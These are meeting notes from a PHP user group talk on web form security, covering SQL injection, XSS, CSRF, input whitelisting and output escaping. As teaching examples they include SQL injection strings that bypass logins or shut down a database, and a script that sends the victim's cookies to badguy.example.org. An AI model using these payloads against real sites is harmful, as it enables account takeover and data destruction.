Topic: Form Handling
Introductions:
We met as usual at the Renasissance Box. Attendes included:
Sam Buchanan - speaker
Dave Ornsby
Keith Connelly
Larry DeVries
HJ Schmidt
Allie Micka
Scot Jenkins
Brandon
Sam's slides are available at: http://afongen.com/talks/inputvalidation-tcphp2005.pdf
Form security:
- historically security dealt with on network/OS side
- Many attacks focus on applications
SQL injection:
select id from users where name='' OR 1=1;
this will always return an id because of the OR
form:
username: ' OR 1=1;'
attempt to shutdown the db
username: `shutdown;--`
Here's and example that shutdown a large db:
view.asp?id=2;shutdown;
SQL injection to cause an SQL error, app spits out errors,
shows what type of server it's running, table, column names.
Treat all input as tainted
Cross-Site Scripting (XSS)
Your browser trusts a given site, bad guy tricks you into running
javascript that runs code from badguy's site.
<pre>
<script>
document.location='http://badguy.example.org/cookies?'+document.cookie
</script>
</pre>
Causes browser to redirect to another web site and send your cookies
to it.
steal cookies
steal credentials
data theft (DOM, iframe)
denial of service
browser exploit
launch and iframe in your browser that monitors everything you're doing
on another site.
protections: filter input, escape output
In IE, you can send javascript in a stylesheet, the browser will execute
the javascript because it trusts the stylesheet. If sent directly as
javascript, it won't execute (javascript won't trust other sites)..
http://ha.ckers.org/xss.html
http://blog.bitflux
http://pixel-apes.com/safehtml
Cross-Site Request Forgeries:
cousin of XSS
<pre>Ex:
<form action="/save.php">
<input type="text" name="msg">
<input type="submit">
</form>
</pre>
The form is sent as a GET (the default) if not specified in the form.
You should use POST for forms that make a change on the server (eg, a
purchase transaction).
<pre>
GET /save.php?msg=Whee
host:www.example.org
cookie:PHPSESSID=123456
</pre>
cookie (session id) is important because that's what makes your browser
trust another site.
One could check the php referrer tag, but that can be forged too and is
not often used.
When generating a form, create a session token and optional timestamp
and send as a hidden field
# generate single use token for each form
$_SESSION['token'] = md5(uniqid(mt_rand(), true));
$_SESSION['token_time'] = time();
in the form, use a hidden field:
<input type="hidden" name="secret" value="<?php echo $_SESSION['token'];?>">
Use SSL if you really need to protect your form.
These can be expensive, but when you *really* need to protect your data,
you should use tokens.
Basic authentication vs. forms for logins:
Trust nothing.
Establish choke points around your app to filter any input
from:
- environment variables
- config data
- user input
- database, if outside "trust boundary"
Can't trust input from HTML (field lengths)
javascript - it can be turned off on the client side (browser)
hidden fields
Whitelist
If you know what your data should look like.
<pre>
$clean = array();
$pattern= "/^[a-z]{8}$/"; # 8 lowercase ASCII chars
if (preg_match($pattern, $_POST['uname']))
{
$clean=['uname'] = $_POST['uname'];
}
</pre>
Think of GET's as bookmarkable URL's; they just retrieve data
Ex: a google search uses a GET
GET has a size limit, varies by brower
POST is better when putting data on the server (shopping carts, etc)
Adjust PHP session timeouts. How long is sufficient depends on your app.
When a session times out you force people to login again.
Long forms, tests, quizzes, surveys...these may require longer session
timeouts (some people don't read a fast as others).
ctype_* functions: good for basic checking
Ex: ctype-alnum, ctype_digit, etc...
Blacklist
What your data should never contain.
PHP handles all the memory for you so buffer overflows are not a
concern in PHP code.
PHP itself may be vulnerable to buffer overflows though, so you should
do size checks on our data.
PEAR has some form validation functions built in.
$_REQUEST
register_globals
extract() - basically does what register_globals does.
register_globals grabs variables from GET before POST
<pre>
http://example.org/?admin=true
# super globals; they're always there
$_GET['admin']
$_POST['admin']
$admin = $_GET['admin'];
function myFunc() {
global $admin;
}
</pre>
With register_globals=off, it forces you to look in the scope where the
variable should be.
Escape Output
mysql_real_escape_string()
pg_escape_string()
htmlspecialchars()
addslashes()
escapeshellcmd()
In PHP5, "prepared statements" can be used to limit SQL injection
vulnerability.
mysqli_stmt_prepare, etc...
Always connect to a database with an account that has the least amount
of privileges as necessary for your app.
Commons Validator:
It's a series of XML config files. When a form is submitted, it runs
through the config and validates the form input. Also generates client
side validation for output.
HTML/QuickForm - a quick way to generate forms.
Generates the HTML for the form and javascript for validation.
google for "HTML_QuickForm"
http://wact.sourceforge.net/ - Web Application Component Toolkit
http://solarphp.com/ Solar - PHP5, similar to HTML_QuickForm
http://owasp.org/ - OWASP
Required reading when building secure web applications:
http://phpsec.org/
http://threatsandcountermeasures.com/
http://www.phpwact.org/
Microsoft has some good books that touch on application security:
- Writing Secure Code
- Code Complete
Next month: Error Handling
Related user group meetings:
http://tcbug.org/ - Twin Cities FreeBSD users group
http://tcwebpros.org/ - Twin Cities Web Pros
Did you find these notes helpful? Please consider attending a meeting, taking notes, and posting them to the TCPHP web site to keep the group growing.

